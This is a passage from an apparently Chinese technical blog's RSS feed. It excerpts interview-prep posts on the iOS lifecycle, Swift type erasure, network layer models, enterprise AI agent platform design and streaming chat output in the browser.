&lt;p&gt;结构型从功能上来说就是给元素添加行为的，目标是优化结构的实现方式&lt;/p&gt;</description></item><item><title>iOS中的生命周期</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/</link><pubDate>Tue, 05 May 2026 00:41:41 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F/</guid><description>&lt;p&gt;iOS开发中，理解各种生命周期是非常重要的基础知识。本文将详细介绍应用生命周期、UIViewController生命周期、UIView生命周期，以及其他常见的生命周期。&lt;/p&gt;
&lt;h2 id="应用生命周期app-lifecycle"&gt;应用生命周期（App Lifecycle）&lt;/h2&gt;
&lt;h3 id="应用状态"&gt;应用状态&lt;/h3&gt;
&lt;p&gt;iOS应用有五种运行状态：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;状态&lt;/th&gt;
&lt;th&gt;描述&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Not Running&lt;/td&gt;
&lt;td&gt;应用未启动或已被系统终止&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Inactive&lt;/td&gt;
&lt;td&gt;应用在前台运行但未接收事件（如来电、锁屏时的过渡状态）&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Active&lt;/td&gt;
&lt;td&gt;应用在前台运行并接收事件，这是应用的正常运行状态&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Background&lt;/td&gt;
&lt;td&gt;应用在后台执行代码，通常只有短暂的执行时间&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Suspended&lt;/td&gt;
&lt;td&gt;应用在后台但不执行代码，系统会在内存不足时自动终止该状态的应用&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="状态转换图"&gt;状态转换图&lt;/h3&gt;
&lt;pre class="mermaid"&gt;stateDiagram-v2
[*] --&gt; Not_Running
Not_Running --&gt; Inactive : 启动
Inactive --&gt; Active
Active --&gt; Background
Background --&gt; Inactive
Background --&gt; Suspended
Suspended --&gt; [*]
&lt;/pre&gt;
&lt;h3 id="uiapplicationdelegate-方法ios-12及之前"&gt;UIApplicationDelegate 方法（iOS 12及之前）&lt;/h3&gt;
&lt;p&gt;在iOS 12及之前的版本中，应用生命周期主要通过&lt;code&gt;UIApplicationDelegate&lt;/code&gt;协议来管理：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 应用启动完成&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;application&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; application: UIApplication,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; didFinishLaunchingWithOptions launchOptions: [UIApplication.LaunchOptionsKey: Any]?) -&amp;gt; Bool {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 初始化配置、第三方SDK等&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 应用即将进入非活动状态&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;applicationWillResignActive&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; application: UIApplication) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 暂停正在进行的任务、禁用定时器&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 游戏应该在此暂停&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 应用已进入后台&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;applicationDidEnterBackground&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; application: UIApplication) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 释放共享资源、保存用户数据&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 可以请求额外的后台执行时间&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 应用即将进入前台&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;applicationWillEnterForeground&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; application: UIApplication) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 撤销进入后台时所做的更改&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 应用已变为活动状态&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;applicationDidBecomeActive&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; application: UIApplication) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 重启被暂停的任务&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 如果应用之前在后台，可以刷新UI&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 应用即将终止&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;applicationWillTerminate&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;_&lt;/span&gt; application: UIApplication) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 保存数据、清理资源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;// 注意：如果应用从Suspended状态被终止，此方法不会被调用&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="uiscenedelegate-方法ios-13"&gt;UISceneDelegate 方法（iOS 13+）&lt;/h3&gt;
&lt;p&gt;从iOS 13开始，Apple引入了Scene-based生命周期，支持多窗口场景。&lt;/p&gt;</description></item><item><title>类型擦除</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E7%B1%BB%E5%9E%8B%E6%93%A6%E9%99%A4/</link><pubDate>Sat, 02 May 2026 22:32:27 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E7%B1%BB%E5%9E%8B%E6%93%A6%E9%99%A4/</guid><description>&lt;p&gt;类型擦除（Type Erasure）是一种编程技术，用于在运行时隐藏具体的类型信息，使得不同类型可以通过统一的接口进行操作。在iOS开发中，Objective-C和Swift都有类型擦除的概念，但实现方式和应用场景有所不同。&lt;/p&gt;
&lt;h2 id="swift中的类型擦除"&gt;Swift中的类型擦除&lt;/h2&gt;
&lt;p&gt;Swift是一门强类型语言，类型信息在编译时被严格检查。但在某些场景下，我们需要隐藏具体类型信息，这时就需要使用类型擦除技术。&lt;/p&gt;
&lt;h3 id="存在类型与不透明类型"&gt;存在类型与不透明类型&lt;/h3&gt;
&lt;p&gt;在理解类型擦除之前，需要先理解 Swift 类型系统中两个关键概念：&lt;strong&gt;存在类型（Existential Type）&lt;/strong&gt; 和&lt;strong&gt;不透明类型（Opaque Type）&lt;/strong&gt;。它们是协议在类型层面的两种使用方式，也是理解 &lt;code&gt;any&lt;/code&gt; 和 &lt;code&gt;some&lt;/code&gt; 关键字的基础。&lt;/p&gt;
&lt;h4 id="存在类型existential-type"&gt;存在类型（Existential Type）&lt;/h4&gt;
&lt;p&gt;&amp;ldquo;存在类型&amp;quot;这个术语来自类型论中的存在量词（∃）。它表达的语义是：&lt;strong&gt;&amp;ldquo;存在某个类型 T 遵循了协议 P，但我不知道也不关心 T 具体是什么。&amp;rdquo;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;当你把一个协议当作类型来使用时（而非泛型约束），你就在使用存在类型：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-swift" data-lang="swift"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;protocol&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Animal&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;makeSound&lt;/span&gt;() -&amp;gt; String
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Dog&lt;/span&gt;: Animal {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;makeSound&lt;/span&gt;() -&amp;gt; String { &lt;span style="color:#e6db74"&gt;&amp;#34;Woof!&amp;#34;&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;struct&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;Cat&lt;/span&gt;: Animal {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;func&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;makeSound&lt;/span&gt;() -&amp;gt; String { &lt;span style="color:#e6db74"&gt;&amp;#34;Meow!&amp;#34;&lt;/span&gt; }
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// animals 数组中的每个元素都是存在类型&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;// 编译器不知道每个元素的具体类型，只知道&amp;#34;存在某个类型遵循了 Animal&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;var&lt;/span&gt; animals: [any Animal] = [Dog(), Cat()]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;存在类型的核心特征：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;运行时多态&lt;/strong&gt;：具体类型在运行时才确定，同一个变量可以在不同时刻持有不同的具体类型&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;有性能开销&lt;/strong&gt;：Swift 通过存在容器（Existential Container）来存储值，方法调用需要通过见证表间接派发&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;类型信息被隐藏&lt;/strong&gt;：调用方只能通过协议接口与值交互，无法访问具体类型的特有成员&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 Swift 5.6 之前，直接把协议写成类型（如 &lt;code&gt;let x: Animal&lt;/code&gt;）就是存在类型，但语法上没有任何标记。Swift 5.6 引入 &lt;code&gt;any&lt;/code&gt; 关键字使其变得显式，目的是提醒开发者这里存在运行时开销。Swift 5.7 起，对于带有关联类型的协议，必须使用 &lt;code&gt;any&lt;/code&gt; 才能作为存在类型。&lt;/p&gt;</description></item><item><title>计算机网络</title><link>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/</link><pubDate>Sun, 03 May 2026 23:11:47 +0800</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/interview/ios-basics/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/</guid><description>&lt;h2 id="网络分层模型"&gt;网络分层模型&lt;/h2&gt;
&lt;h3 id="osi七层模型"&gt;OSI七层模型&lt;/h3&gt;
&lt;p&gt;OSI（Open Systems Interconnection）是国际标准化组织提出的网络通信参考模型：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;层级&lt;/th&gt;
&lt;th&gt;名称&lt;/th&gt;
&lt;th&gt;功能&lt;/th&gt;
&lt;th&gt;协议/设备举例&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;应用层&lt;/td&gt;
&lt;td&gt;为应用程序提供网络服务&lt;/td&gt;
&lt;td&gt;HTTP, FTP, DNS, SMTP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;表示层&lt;/td&gt;
&lt;td&gt;数据格式转换、加密/解密&lt;/td&gt;
&lt;td&gt;SSL/TLS, JPEG, ASCII&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;会话层&lt;/td&gt;
&lt;td&gt;建立、管理和终止会话&lt;/td&gt;
&lt;td&gt;RPC, SQL&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;传输层&lt;/td&gt;
&lt;td&gt;端到端的可靠数据传输&lt;/td&gt;
&lt;td&gt;TCP, UDP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;网络层&lt;/td&gt;
&lt;td&gt;路由选择与IP寻址&lt;/td&gt;
&lt;td&gt;IP, ICMP, ARP&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;数据链路层&lt;/td&gt;
&lt;td&gt;帧的封装与MAC寻址&lt;/td&gt;
&lt;td&gt;Ethernet, Wi-Fi&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;物理层&lt;/td&gt;
&lt;td&gt;比特流的物理传输&lt;/td&gt;
&lt;td&gt;光纤, 双绞线&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="tcpip四层模型"&gt;TCP/IP四层模型&lt;/h3&gt;
&lt;p&gt;实际工程中更常用的是TCP/IP四层模型，它将OSI的上三层合并为应用层，下两层合并为网络接口层：&lt;/p&gt;
&lt;pre class="mermaid"&gt;graph TB
subgraph "TCP/IP四层模型"
A["应用层&lt;br/&gt;HTTP, DNS, FTP, SMTP"]
B["传输层&lt;br/&gt;TCP, UDP"]
C["网络层&lt;br/&gt;IP, ICMP, ARP"]
D["网络接口层&lt;br/&gt;Ethernet, Wi-Fi"]
end
subgraph "OSI七层模型"
E["应用层"]
F["表示层"]
G["会话层"]
H["传输层"]
I["网络层"]
J["数据链路层"]
K["物理层"]
end
A --- E
A --- F
A --- G
B --- H
C --- I
D --- J
D --- K
&lt;/pre&gt;
&lt;h3 id="数据封装与解封装"&gt;数据封装与解封装&lt;/h3&gt;
&lt;p&gt;数据在发送方从上到下逐层封装，每一层都将上层传来的数据视为&lt;strong&gt;载荷（Payload）&lt;/strong&gt;，在其前面添加本层的头部信息（部分层还会添加尾部信息），然后交给下一层处理。接收方则从下到上逐层解封装，每一层剥离本层头部后将载荷交给上层。&lt;/p&gt;</description></item><item><title>Agent 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/agent/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/agent/</guid><description>&lt;p&gt;共 119 道 Agent 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-7cd93d99-ef11-40d4-b0fb-d53441bc5cc1"&gt;1. 如何设计一个企业级 AI Agent 平台？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：3.5 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;企业级 AI Agent 平台的设计重点不是“接一个大模型接口”，而是围绕业务任务构建完整体系：前端提供可解释、可配置、可监控的交互体验；中间层负责 Agent 编排、工具调用和知识增强；底层统一管理模型、数据和企业系统；治理层保障权限、安全、审计、评测和成本控制。真正可落地的平台，一定是在智能能力和工程确定性之间取得平衡。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;企业级 AI Agent 平台不能只设计成一个“聊天入口”，更应该设计成一个可治理、可扩展、可观测的智能任务执行平台。它的核心目标是让企业可以安全地把大模型能力接入真实业务流程，例如客服、知识检索、数据分析、代码辅助、审批流、运营自动化等场景。&lt;/p&gt;
&lt;p&gt;从架构上看，可以分为四个关键层次：前端体验层、Agent 编排层、能力接入层和企业治理层。&lt;/p&gt;
&lt;p&gt;前端体验层不应该只有 Chat UI，而要支持多种交互形态。对于普通用户，可以提供对话式入口、任务面板、历史记录、引用来源、执行进度和人工确认节点；对于业务管理员，需要有 Agent 配置台，可以配置角色、Prompt、工具权限、知识库、工作流、触发条件和发布版本；对于运维和安全人员，则需要看到调用链路、成本消耗、失败原因、审计日志和风险拦截记录。&lt;/p&gt;
&lt;p&gt;Agent 编排层是平台的核心。这里不能简单地把用户输入直接发给模型，而是要经过意图识别、上下文构建、计划拆解、工具选择、执行反馈和结果汇总。复杂任务通常需要支持多 Agent 协作，例如一个 Agent 负责理解需求，一个 Agent 负责查知识库，一个 Agent 负责调用业务系统，还有一个 Agent 负责校验输出质量。对于企业场景，工作流式 Agent 和自主规划式 Agent 往往要结合使用：高风险业务用确定性流程约束，低风险探索任务可以给 Agent 更高自主度。&lt;/p&gt;
&lt;p&gt;能力接入层主要解决模型、知识和工具的问题。模型层需要做统一网关，屏蔽不同模型厂商差异，支持模型路由、降级、限流、重试和成本统计。知识层通常采用 RAG 架构，需要处理文档解析、切片、向量化、权限过滤、召回排序和答案引用，避免 Agent 编造来源。工具层则要把企业内部系统封装成标准 Tool，例如 CRM、工单、审批、BI、代码仓库、飞书、邮件、数据库等，同时每个工具都要有清晰的输入输出 Schema、权限边界和幂等设计。&lt;/p&gt;
&lt;p&gt;企业级平台最容易被低估的是治理能力。Agent 一旦可以调用工具，就不再只是“生成文本”，而是在执行真实操作，所以必须有权限控制、数据脱敏、敏感词策略、操作审计、人工确认和回滚机制。例如查询类工具可以自动执行，但转账、删除、发公告、修改生产配置这类操作必须进入 human-in-the-loop 流程。平台还需要支持租户隔离、部门权限、知识库权限继承和操作留痕。&lt;/p&gt;
&lt;p&gt;前端设计上，要重点解决“可解释”和“可控”。用户不能只看到一个最终答案，而应该能看到 Agent 做了哪些步骤、用了哪些知识、调用了哪些工具、哪些地方失败了、是否需要用户确认。对于长任务，要有状态机式的任务视图，而不是让用户一直等在输入框前。对于企业用户来说，信任感往往来自透明度，而不是更拟人的回复。&lt;/p&gt;
&lt;p&gt;另外，平台需要内置评测体系。Agent 发布前要经过离线评测，例如准确率、召回率、幻觉率、工具调用成功率、越权风险和响应时延；上线后要持续收集用户反馈、人工纠错、失败样本和成本数据，再反向优化 Prompt、知识库、工具描述和模型路由。没有评测闭环的 Agent 平台，很难在企业里长期稳定运行。&lt;/p&gt;</description></item><item><title>AI相关 面试题</title><link>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-26-b14403bc/</link><pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate><guid>https://amatsuzero.github.io/LastStand/posts/frontend/interview-questions/tag-26-b14403bc/</guid><description>&lt;p&gt;共 43 道 AI相关 面试题。答案默认折叠，便于先自行作答。&lt;/p&gt;
&lt;h2 id="question-f58b9f85-153d-47b9-851f-f65abe8ec3e0"&gt;1. 如何实现 ChatGPT 类似的流式输出？&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;难度：1.5 · 类型：QA&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3 id="题目要点"&gt;题目要点&lt;/h3&gt;
&lt;p&gt;流式输出的核心是服务端通过 &lt;code&gt;SSE&lt;/code&gt;、&lt;code&gt;fetch stream&lt;/code&gt; 或 &lt;code&gt;WebSocket&lt;/code&gt; 持续返回增量内容，前端通过 &lt;code&gt;ReadableStream&lt;/code&gt; 边读边渲染。实现时要注意网络 chunk 不等于完整消息，需要做缓冲和协议解析。前端渲染要做节流，避免频繁状态更新导致卡顿。Agent 场景下建议使用结构化事件协议，把文本增量、工具调用、状态、错误、完成信号分开处理。最后还要支持取消、错误恢复、最终 Markdown 校正和滚动体验，才能达到接近 ChatGPT 的交互质量。&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;参考答案&lt;/summary&gt;
&lt;p&gt;类似 ChatGPT 的流式输出，本质是：服务端不要等完整答案生成后再返回，而是把模型生成的 token 或文本片段持续写入 HTTP 响应；前端边读边渲染，并在完成、取消、异常时维护好状态。&lt;/p&gt;
&lt;p&gt;实际项目里最常见的是 &lt;code&gt;SSE&lt;/code&gt; 或 &lt;code&gt;fetch + ReadableStream&lt;/code&gt;。如果只是服务端向前端单向推送，&lt;code&gt;SSE&lt;/code&gt; 足够稳定；如果需要双向实时交互，比如语音、多人协作、实时 Agent 控制，可以用 &lt;code&gt;WebSocket&lt;/code&gt;。在 ChatGPT 这类文本生成场景中，&lt;code&gt;fetch&lt;/code&gt; 读取流也很常用，因为它支持 &lt;code&gt;POST&lt;/code&gt;、请求体、鉴权、&lt;code&gt;AbortController&lt;/code&gt;，控制能力比原生 &lt;code&gt;EventSource&lt;/code&gt; 更强。&lt;/p&gt;
&lt;p&gt;前端核心代码大致是这样：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ts" data-lang="ts"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;async&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;function&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;streamChat&lt;/span&gt;(&lt;span style="color:#a6e22e"&gt;messages&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;any&lt;/span&gt;[], &lt;span style="color:#a6e22e"&gt;onDelta&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; (&lt;span style="color:#a6e22e"&gt;text&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;string&lt;/span&gt;) &lt;span style="color:#f92672"&gt;=&amp;gt;&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;void&lt;/span&gt;) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;controller&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;new&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;AbortController&lt;/span&gt;();
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;const&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;response&lt;/span&gt; &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;await&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;fetch&lt;/span&gt;(&lt;span style="color:#e6db74"&gt;&amp;#39;/api/chat/stream&amp;#39;&lt;/span&gt;, {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;method&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;POST&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;headers&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;Content-Type&amp;#39;&lt;/span&gt;&lt;span style="color:#f92672"&gt;:&lt;/span&gt; &lt;span style="color:#e6db74"&gt;&amp;#39;application/json&amp;#39;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; },
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;body&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;JSON.stringify&lt;/span&gt;({ &lt;span style="color:#a6e22e"&gt;messages&lt;/span&gt; }),
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#a6e22e"&gt;signal&lt;/span&gt;: &lt;span style="color:#66d9ef"&gt;controller.signal&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; });
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
